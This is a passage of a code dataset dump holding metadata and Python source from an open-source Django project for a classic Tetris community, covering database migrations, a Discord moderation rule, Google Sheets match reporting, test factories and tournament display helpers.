transaction.on_commit(lambda: tasks.report_reviewed_qualifier.delay(self.id))\n\n def __str__(self):\n return f\"{self.user.display_name} ({self.event.name})\"\n\nsignals.pre_save.connect(Qualifier.before_save, sender=Qualifier)\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 27.5, "blob_id": "917ed745b811de7a1d700104b3d81d20dc396c51", "content_id": "ad1874e2ea4327b5d1dc33e277b11ad44a4c1bf6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 342, "license_type": "permissive", "max_line_length": 49, "num_lines": 12, "path": "/classic_tetris_project/moderation/rule.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from asgiref.sync import async_to_sync\n\nclass DiscordRule:\n def __init__(self, moderator):\n self.moderator = moderator\n self.message = self.moderator.message\n \n def delete_message(self):\n async_to_sync(self.message.delete)()\n\n def notify_user(self, message):\n self.moderator.user.send_message(message)\n" }, { "alpha_fraction": 0.5593321323394775, "alphanum_fraction": 0.5641025900840759, "avg_line_length": 35.85714340209961, "blob_id": "8c08d4846b67a9922d40aeaa2ae4252afc760eb8", "content_id": "5775399bb84c938fdbde38b0614eb45bdf42f86b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3354, "license_type": "permissive", "max_line_length": 131, "num_lines": 91, "path": "/classic_tetris_project/util/match_sheet_reporter.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import pytz\nimport json\nfrom collections import defaultdict\n\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom classic_tetris_project.models import Match, Game\nfrom .google_sheets import GoogleSheetsService\n\nspreadsheet_id = \"1l-dWUEQyeRobxMYObAucxIeRIpC0VsXCYuOHU5mXTXg\"\nsheet_range = \"all matches test!A1:Z\"\n\nclass MatchSheetReporter:\n def __init__(self):\n self.sheets_service = GoogleSheetsService()\n self.spreadsheet_id = settings.ENV(\"MATCH_REPORTING_SPREADSHEET_ID\")\n self.sheet_range = settings.ENV(\"MATCH_REPORTING_SHEET_RANGE\")\n\n def sync_all(self):\n match_count = 0\n for matches in self.unsynced_match_batches():\n game_data = self.game_data(matches)\n match_data = [\n [\n match.id,\n self.display_name_for(match.player1),\n self.display_name_for(match.player2),\n match.wins1,\n match.wins2,\n (match.start_date.astimezone(pytz.utc).isoformat() if\n match.start_date else None),\n match.ended_at.astimezone(pytz.utc).isoformat(),\n (match.channel.twitch_user.username if match.channel else None),\n (match.tournament_match.tournament.name\n if hasattr(match, \"tournament_match\") else None),\n (json.dumps(game_data[match.id]) if game_data[match.id] else None),\n ]\n for match in matches\n ]\n now = timezone.now()\n self.sheets_service.append(self.spreadsheet_id, self.sheet_range, match_data)\n Match.objects.filter(id__in=[match.id for match in matches]).update(synced_at=now)\n match_count += len(matches)\n\n return match_count\n\n def unsynced_match_batches(self, batch_size=100):\n min_id = 0\n scope = Match.objects.filter(synced_at__isnull=True, ended_at__isnull=False, tournament_match__isnull=False).order_by(\"id\")\n\n while True:\n matches = list(scope.filter(id__gt=min_id).prefetch_related(\n \"player1__twitch_user\",\n \"player2__twitch_user\",\n \"channel__twitch_user\",\n \"tournament_match__tournament\",\n )[:batch_size])\n yield matches\n\n if len(matches) < batch_size:\n break\n\n min_id = matches[-1].id\n\n def game_data(self, matches):\n game_data = {}\n all_games = Game.objects.filter(\n match_id__in=[match.id for match in matches]\n ).prefetch_related(\"winner__twitch_user\")\n indexed_games = defaultdict(list)\n\n for game in all_games:\n indexed_games[game.match_id].append(game)\n for match in matches:\n games = indexed_games[match.id]\n game_data[match.id] = [\n [\n display_name_for(game.winner),\n game.losing_score,\n game.ended_at.astimezone(pytz.utc).isoformat()\n ]\n for game in games\n ]\n return game_data\n\n def display_name_for(self, user):\n if hasattr(user, \"twitch_user\"):\n return user.twitch_user.username\n else:\n return user.display_name\n" }, { "alpha_fraction": 0.4826815724372864, "alphanum_fraction": 0.5083798766136169, "avg_line_length": 23.189189910888672, "blob_id": "eb457d420b1bc4fb90b4df9fef0f41b54540400a", "content_id": "b233d0aa449e79a1972d7d68d84e60122dfc0816", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 895, "license_type": "permissive", "max_line_length": 60, "num_lines": 37, "path": "/classic_tetris_project/migrations/0023_user_remove_pb_fields.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-04-03 04:59\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0022_populate_scorepb'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='user',\n name='ntsc_pb',\n ),\n migrations.RemoveField(\n model_name='user',\n name='ntsc_pb_19',\n ),\n migrations.RemoveField(\n model_name='user',\n name='ntsc_pb_19_updated_at',\n ),\n migrations.RemoveField(\n model_name='user',\n name='ntsc_pb_updated_at',\n ),\n migrations.RemoveField(\n model_name='user',\n name='pal_pb',\n ),\n migrations.RemoveField(\n model_name='user',\n name='pal_pb_updated_at',\n ),\n ]\n" }, { "alpha_fraction": 0.5601617693901062, "alphanum_fraction": 0.5935288071632385, "avg_line_length": 35.62963104248047, "blob_id": "203b1de7d2b36a4358a1cac6fec1e2a40143c011", "content_id": "b4df4d10ed4da70418effb5e4d4eb1ec9d38891a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 989, "license_type": "permissive", "max_line_length": 165, "num_lines": 27, "path": "/classic_tetris_project/migrations/0056_auto_20211231_0727.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-12-31 07:27\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0055_auto_20210802_1721'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='user',\n name='playstyle',\n field=models.CharField(blank=True, choices=[('das', 'DAS'), ('hypertap', 'Hypertap'), ('hybrid', 'Hybrid'), ('roll', 'Roll')], max_length=16, null=True),\n ),\n migrations.CreateModel(\n name='Restreamer',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('active', models.BooleanField(default=True)),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='restreamer', to='classic_tetris_project.user')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6071428656578064, "alphanum_fraction": 0.6269841194152832, "avg_line_length": 39.09090805053711, "blob_id": "3322606327e0164a73a8b02c81bcdb75fb2cb0b5", "content_id": "1ae6cabe59971a540b46e4c4a87d2df6445846bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1764, "license_type": "permissive", "max_line_length": 169, "num_lines": 44, "path": "/classic_tetris_project/migrations/0049_auto_20210417_2149.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-04-17 21:49\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0048_auto_20210417_2147'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tournamentmatch',\n name='loser',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='player1',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='player2',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='source1_data',\n field=models.IntegerField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='source2_data',\n field=models.IntegerField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='tournamentmatch',\n name='winner',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),\n ),\n ]\n" }, { "alpha_fraction": 0.6391061544418335, "alphanum_fraction": 0.6536312699317932, "avg_line_length": 26.96875, "blob_id": "7c0a4bc563c2c5ef0ee3c0babcd04c709ad3bb29", "content_id": "ba97dfc007365ebc6d1922aeec3cef547e331375", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 895, "license_type": "permissive", "max_line_length": 64, "num_lines": 32, "path": "/classic_tetris_project/test_helper/factories/events.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import factory\nfrom django.utils.text import slugify\n\nfrom classic_tetris_project.models import *\nfrom classic_tetris_project.test_helper.factories.users import *\n\n\nclass EventFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = Event\n name = factory.Sequence(lambda n: f\"Event {n}\")\n slug = factory.LazyAttribute(lambda o: slugify(o.name))\n qualifying_type = 1\n\nclass QualifierFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = Qualifier\n user = factory.SubFactory(UserFactory)\n event = factory.SubFactory(EventFactory)\n\n class Params:\n submitted_ = factory.Trait(\n qualifying_score=500000,\n qualifying_data=[500000],\n vod=\"https://twitch.tv/asdf\",\n submitted=True,\n )\n\n approved_ = factory.Trait(\n submitted_=True,\n approved=True\n )\n" }, { "alpha_fraction": 0.5671965479850769, "alphanum_fraction": 0.5924855470657349, "avg_line_length": 33.599998474121094, "blob_id": "09f944071351c88c081d24cbb2f6308c88ff537c", "content_id": "b16c3a7d8016511dd63a49c852621e57e53f3ba5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1384, "license_type": "permissive", "max_line_length": 137, "num_lines": 40, "path": "/classic_tetris_project/migrations/0042_auto_20210327_2218.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-03-27 22:18\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0041_auto_20210327_2206'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='short_name',\n field=models.CharField(default='', help_text='Used in the context of an event, e.g. \"Challenger\\'s Circuit\"', max_length=64),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='tournament',\n name='slug',\n field=models.SlugField(db_index=False, default=''),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='tournament',\n name='event',\n field=models.ForeignKey(db_index=False, on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.event'),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='name',\n field=models.CharField(help_text='Full name of the tournament', max_length=64),\n ),\n migrations.AddConstraint(\n model_name='tournament',\n constraint=models.UniqueConstraint(fields=('event_id', 'slug'), name='unique_event_slug'),\n ),\n ]\n" }, { "alpha_fraction": 0.6141348481178284, "alphanum_fraction": 0.619821310043335, "avg_line_length": 40.72881317138672, "blob_id": "de0dd5ebf0c5475e3ec838405b67366240253c25", "content_id": "c408776ec5ecc466eee5968b7320f711b98fe528", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2462, "license_type": "permissive", "max_line_length": 109, "num_lines": 59, "path": "/classic_tetris_project/facades/tournament_match_display.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.utils.html import format_html\n\nfrom ..models import TournamentMatch\n\n\nclass TournamentMatchDisplay:\n def __init__(self, tournament_match, user=None):\n self.tournament_match = tournament_match\n self.user = user\n\n def can_restream(self):\n return (self.user and\n ((self.tournament_match.restreamed and self.user.permissions.restream()) or\n self.user.permissions.report_all()) and\n self.tournament_match.is_playable())\n\n def status_tag(self):\n def render_tag(text, style):\n return format_html(\n \"<span class='status-tag status-tag--{}'>{}</span>\",\n style,\n text\n )\n\n if self.tournament_match.is_complete():\n return render_tag(\"Complete\", \"green\")\n elif self.tournament_match.is_scheduled():\n return render_tag(\"Scheduled\", \"yellow\")\n elif self.tournament_match.is_playable():\n return render_tag(\"Playable\", \"gray\")\n\n def display_name_from_source(self, source_type, source_data):\n if source_type == TournamentMatch.PlayerSource.NONE:\n return None\n elif source_type == TournamentMatch.PlayerSource.SEED:\n return f\"Seed {source_data}\"\n elif source_type == TournamentMatch.PlayerSource.MATCH_WINNER:\n return f\"Winner of Match {source_data}\"\n elif source_type == TournamentMatch.PlayerSource.MATCH_LOSER:\n return f\"Loser of Match {source_data}\"\n\n def player1_display_name(self):\n if self.tournament_match.player1:\n return self.tournament_match.player1.display_name()\n else:\n return self.display_name_from_source(self.tournament_match.source1_type,\n self.tournament_match.source1_data)\n\n def player2_display_name(self):\n if self.tournament_match.player2:\n return self.tournament_match.player2.display_name()\n else:\n return self.display_name_from_source(self.tournament_match.source2_type,\n self.tournament_match.source2_data)\n def player1_winner(self):\n return self.tournament_match.winner and self.tournament_match.player1 == self.tournament_match.winner\n\n def player2_winner(self):\n return self.tournament_match.winner and self.tournament_match.player2 == self.tournament_match.winner\n" }, { "alpha_fraction": 0.6159334182739258, "alphanum_fraction": 0.6444708704948425, "avg_line_length": 35.565216064453125, "blob_id": "9f21084a2bac72e8878b8416b8a46ca2d33a35d6", "content_id": "bd9ec42110afcc72fea9c64cc74b8e62be071dc7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "permissive", "max_line_length": 186, "num_lines": 23, "path": "/classic_tetris_project/migrations/0074_auto_20221002_0630.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-10-02 06:30\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0073_tournament_bracket_color'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='qualifying_channel_id',\n field=models.CharField(blank=True, help_text='Discord channel id that qualifier announcements will be posted to. If blank, announcements will not be posted.', max_length=64),\n ),\n migrations.AddField(\n model_name='event',\n name='reporting_channel_id',\n field=models.CharField(blank=True, help_text='Discord channel id that match reports will be posted to. If blank, messages will not be posted.', max_length=64),\n ),\n ]\n" }, { "alpha_fraction": 0.554064154624939, "alphanum_fraction": 0.5794183611869812, "avg_line_length": 31.707317352294922, "blob_id": "8ef20b5774ca7e163095db4de8b6dc64ef66254d", "content_id": "922c192166ebb0dc418f8fcb1944437ccd372019", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1341, "license_type": "permissive", "max_line_length": 165, "num_lines": 41, "path": "/classic_tetris_project/migrations/0043_auto_20210327_2316.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-03-27 23:16\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0042_auto_20210327_2218'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='tournament',\n options={'ordering': ['order']},\n ),\n migrations.RemoveField(\n model_name='tournament',\n name='priority',\n ),\n migrations.AddField(\n model_name='tournament',\n name='order',\n field=models.PositiveIntegerField(default=0, help_text='Used to order tournaments for seeding'),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='name',\n field=models.CharField(blank=True, help_text='Full name of the tournament. Leave blank to automatically set to event name + short name.', max_length=64),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='seed_count',\n field=models.IntegerField(help_text='Number of players to seed into this tournament'),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='slug',\n field=models.SlugField(blank=True, db_index=False),\n ),\n ]\n" }, { "alpha_fraction": 0.5256723761558533, "alphanum_fraction": 0.6014670133590698, "avg_line_length": 21.72222137451172, "blob_id": "9402286e75ddbe960f10584ca5048d538a67d9a3", "content_id": "ee8e8503f121201726d73010d102ebd0e2ee401e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 409, "license_type": "permissive", "max_line_length": 62, "num_lines": 18, "path": "/classic_tetris_project/migrations/0011_user_same_piece_sets.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-02-04 20:57\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0010_auto_20191102_0433'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='user',\n name='same_piece_sets',\n field=models.BooleanField(default=False),\n ),\n ]\n" }, { "alpha_fraction": 0.6357323527336121, "alphanum_fraction": 0.6369949579238892, "avg_line_length": 34.20000076293945, "blob_id": "707ea3bf17329ff08be8c81272d71510639c4790", "content_id": "e09f0a9bca6fea32da5b6666928170d26f3bf6b6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1584, "license_type": "permissive", "max_line_length": 76, "num_lines": 45, "path": "/classic_tetris_project/util/google_sheets.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from google.oauth2 import service_account\nfrom googleapiclient import errors\nfrom googleapiclient.discovery import build\n\nfrom django.conf import settings\n\n\nclass GoogleSheetsError(Exception):\n pass\n\nclass GoogleSheetsService:\n SCOPES = [\"https://www.googleapis.com/auth/spreadsheets\"]\n SERVICE_ACCOUNT_FILE = settings.ENV(\"GOOGLE_SERVICE_ACCOUNT_FILE\")\n\n def __init__(self):\n if not self.__class__.SERVICE_ACCOUNT_FILE:\n raise GoogleSheetsError(\"Service account not configured\")\n credentials = service_account.Credentials.from_service_account_file(\n self.__class__.SERVICE_ACCOUNT_FILE,\n scopes=self.__class__.SCOPES)\n self.service = build(\"sheets\", \"v4\", credentials=credentials)\n\n def update(self, spreadsheet_id, sheet_range, data):\n request = self.service.spreadsheets().values().update(\n spreadsheetId=spreadsheet_id,\n range=sheet_range,\n valueInputOption=\"RAW\",\n body={ \"values\": data },\n )\n try:\n return request.execute()\n except errors.HttpError as e:\n raise GoogleSheetsError(e.error_details)\n\n def append(self, spreadsheet_id, sheet_range, data):\n request = self.service.spreadsheets().values().append(\n spreadsheetId=spreadsheet_id,\n range=sheet_range,\n valueInputOption=\"RAW\",\n body={ \"values\": data },\n )\n try:\n return request.execute()\n except errors.HttpError as e:\n raise GoogleSheetsError(e.error_details)\n" }, { "alpha_fraction": 0.5165745615959167, "alphanum_fraction": 0.5165745615959167, "avg_line_length": 24.85714340209961, "blob_id": "a2360353b7c4312542898a503980c0ad9f57e3fb", "content_id": "4c0472432ce055859672a3ab00829e5ca2f666b5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 362, "license_type": "permissive", "max_line_length": 48, "num_lines": 14, "path": "/classic_tetris_project/tests/commands/test.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\n\nclass TestCommand_(CommandSpec):\n class discord:\n def test_sends_response(self):\n self.assert_discord(\"!test\", [\n \"Test!\"\n ])\n\n class twitch:\n def test_sends_response(self):\n self.assert_twitch(\"!test\", [\n \"Test!\"\n ])\n" }, { "alpha_fraction": 0.5904628038406372, "alphanum_fraction": 0.633941113948822, "avg_line_length": 30, "blob_id": "96a20786e59e2dcb722c31d01a6d6e7602a2db7f", "content_id": "94e6fda01634d9edcddc4fcb6532bd496b547b3f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 713, "license_type": "permissive", "max_line_length": 143, "num_lines": 23, "path": "/classic_tetris_project/migrations/0061_auto_20220129_2001.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2022-01-29 20:01\n\nfrom django.db import migrations\nimport markdownx.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0060_auto_20220123_0527'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='tournamentmatch',\n options={'permissions': [('restream', 'Can schedule and report restreamed matches')], 'verbose_name_plural': 'tournament matches'},\n ),\n migrations.AddField(\n model_name='tournament',\n name='details',\n field=markdownx.models.MarkdownxField(blank=True, help_text='Details to show on the tournament page'),\n ),\n ]\n" }, { "alpha_fraction": 0.5821256041526794, "alphanum_fraction": 0.6038647294044495, "avg_line_length": 39.064517974853516, "blob_id": "e445e84e086687d870c04fc84b483bdf37ae367c", "content_id": "a09a776cbbd183579ae76d05e4c3b42fa1c68653", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1242, "license_type": "permissive", "max_line_length": 94, "num_lines": 31, "path": "/classic_tetris_project/migrations/0022_populate_scorepb.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-04-03 04:05\n\nfrom django.db import migrations\nfrom django.utils import timezone\n\ndef populate_score_pb(apps, schema_editor):\n User = apps.get_model(\"classic_tetris_project\", \"User\")\n ScorePB = apps.get_model(\"classic_tetris_project\", \"ScorePB\")\n now = timezone.now()\n for user in User.objects.all():\n if user.ntsc_pb:\n ScorePB.objects.create(user=user, score=user.ntsc_pb, console_type=\"ntsc\",\n current=True, created_at=user.ntsc_pb_updated_at or now)\n if user.pal_pb:\n ScorePB.objects.create(user=user, score=user.pal_pb, console_type=\"pal\",\n current=True, created_at=user.pal_pb_updated_at or now)\n if user.ntsc_pb_19:\n ScorePB.objects.create(user=user, score=user.ntsc_pb_19, console_type=\"ntsc\",\n starting_level=19,\n current=True, created_at=user.ntsc_pb_19_updated_at or now)\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0021_scorepb'),\n ]\n\n operations = [\n migrations.RunPython(populate_score_pb, migrations.RunPython.noop),\n ]\n" }, { "alpha_fraction": 0.649056613445282, "alphanum_fraction": 0.6566037535667419, "avg_line_length": 28.33333396911621, "blob_id": "0ac2a8bb32e155f21c64ef775fc132270b600e31", "content_id": "bcc1591e1ff95d62f4db2cae958c0057c3156846", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 265, "license_type": "permissive", "max_line_length": 71, "num_lines": 9, "path": "/classic_tetris_project/moderation/all_caps.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .rule import DiscordRule\nimport time\n\nclass AllCapsRule(DiscordRule):\n\n def apply(self):\n if any(ch.islower() for ch in self.message.content):\n time.sleep(0.5) #wait half a second, due to clientside bug.\n self.delete_message()\n\n" }, { "alpha_fraction": 0.5449398159980774, "alphanum_fraction": 0.5654635429382324, "avg_line_length": 31.86046600341797, "blob_id": "e2535f8ec9eed304febe0eb1e3bee7d2e684729c", "content_id": "eadf46571dd2e2c595c03f73ab43ab75656201cb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1413, "license_type": "permissive", "max_line_length": 120, "num_lines": 43, "path": "/classic_tetris_project/migrations/0039_auto_20210228_0824.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-02-28 08:24\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0038_event_pre_qualifying_instructions'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='qualifier',\n name='withdrawn',\n field=models.BooleanField(default=False),\n ),\n migrations.AlterField(\n model_name='event',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 2 Scores'), (3, 'Highest 3 Scores')]),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='qualifying_data',\n field=models.JSONField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='qualifying_score',\n field=models.IntegerField(blank=True, null=True),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 2 Scores'), (3, 'Highest 3 Scores')]),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='submitted_at',\n field=models.DateTimeField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.58852618932724, "alphanum_fraction": 0.5905044674873352, "avg_line_length": 27.08333396911621, "blob_id": "32c0a27fdc1e6ba472b46f26a6d88baf42cc280a", "content_id": "54278cc022901fe98eddc5a760e1df73f1608a4d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1011, "license_type": "permissive", "max_line_length": 79, "num_lines": 36, "path": "/classic_tetris_project/countries.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import csv\nfrom pathlib import Path\n\nCOUNTRIES_CSV_PATH = Path(__file__).parent.resolve() / \"data\" / \"countries.csv\"\n\nclass Country:\n ACCEPTED_MAPPINGS = {}\n ALL = []\n\n def __init__(self, two_letter, full_name):\n self.abbreviation = two_letter\n self.full_name = full_name\n\n def get_flag(self):\n return f\":flag_{self.abbreviation}:\"\n\n @staticmethod\n def populate_mappings(path=COUNTRIES_CSV_PATH):\n with open(path, \"r\") as f:\n rows = csv.reader(f)\n for row in rows:\n country = Country(row[0], row[1])\n Country.ALL.append(country)\n for column in row:\n Country.ACCEPTED_MAPPINGS[column.lower()] = country\n Country.ALL.sort(key=lambda country: country.full_name)\n\n\n @staticmethod\n def get_country(input_string):\n try:\n return Country.ACCEPTED_MAPPINGS[input_string.lower()]\n except KeyError:\n return None\n\nCountry.populate_mappings()\n" }, { "alpha_fraction": 0.6493055820465088, "alphanum_fraction": 0.6493055820465088, "avg_line_length": 21.153846740722656, "blob_id": "baad8b6c37cfb12ca16e3518fdfc8f2a594db87c", "content_id": "85782ef37608eff79ec653ae211a47497f2781e5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 288, "license_type": "permissive", "max_line_length": 78, "num_lines": 13, "path": "/classic_tetris_project/util/fieldgen/assetpath.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import os\n\n\nclass AssetPath(object):\n ASSET_FOLDER = \"img\"\n\n @staticmethod\n def get_file_root():\n return os.path.dirname(os.path.abspath(__file__))\n\n @staticmethod\n def get_asset_root():\n return os.path.join(AssetPath.get_file_root(), AssetPath.ASSET_FOLDER)\n" }, { "alpha_fraction": 0.5268456339836121, "alphanum_fraction": 0.5855704545974731, "avg_line_length": 24.913043975830078, "blob_id": "3f07b6d54d2a930c0a1bc30e7266702cb2bdfd6d", "content_id": "701d24f390e8ca27c49c468f37323b5425d4f16a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 596, "license_type": "permissive", "max_line_length": 63, "num_lines": 23, "path": "/classic_tetris_project/migrations/0003_auto_20190628_1759.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.2 on 2019-06-28 17:59\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0002_auto_20190628_1733'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='discorduser',\n name='discord_id',\n field=models.CharField(max_length=64, unique=True),\n ),\n migrations.AlterField(\n model_name='twitchuser',\n name='twitch_id',\n field=models.CharField(max_length=64, unique=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6788807511329651, "alphanum_fraction": 0.6835442781448364, "avg_line_length": 36.525001525878906, "blob_id": "f5089e780d573c81b9d69fcfa9e0bad7dd5b417c", "content_id": "89095fb5ed65142acefbbec73db3b7c9a15c5d4a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1501, "license_type": "permissive", "max_line_length": 73, "num_lines": 40, "path": "/classic_tetris_project/util/fieldgen/ai.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import random\nfrom .tiles import TileMath\n\n\nclass Aesthetics(object):\n # Artificially intelligent aesthetics class\n @staticmethod\n def is_odd(number):\n # artificial intelligence for determining pseudo-random results\n return number % 2 == 1\n\n @staticmethod\n def get_target_column(sequence):\n # returns an artificially intelligently derived column to target,\n # based on a given sequence\n CENTER_COLUMN = TileMath.FIELD_WIDTH // 2\n left_right = Aesthetics.get_piece_shift_direction(sequence)\n return CENTER_COLUMN + len(sequence) * left_right\n\n @staticmethod\n def get_piece_shift_direction(sequence):\n # returns -1 or 1 depending on offset from centre column\n left_right = -1 if Aesthetics.is_odd(len(sequence)) else 1\n return left_right\n\n @staticmethod\n def which_garbage_hole(excluded_column, row):\n # given a target column, decides a column for garbage based on\n # artificial intelligence and digital aesthetics\n # to do: extend using neural networks.\n cells = [i for i in range(TileMath.FIELD_WIDTH)]\n cells.remove(excluded_column)\n return random.choice(cells)\n\n @staticmethod\n def which_garbage_tile(target_column, target_row, choices):\n # given a target board position, decides which tile to use,\n # using artificial intelligence and digital aesthetics\n # TODO: extend using machine learning.\n return random.choice(choices)\n" }, { "alpha_fraction": 0.7555555701255798, "alphanum_fraction": 0.7666666507720947, "avg_line_length": 29, "blob_id": "e8c163ea6cb2b714983c03ca281e49b6a822941a", "content_id": 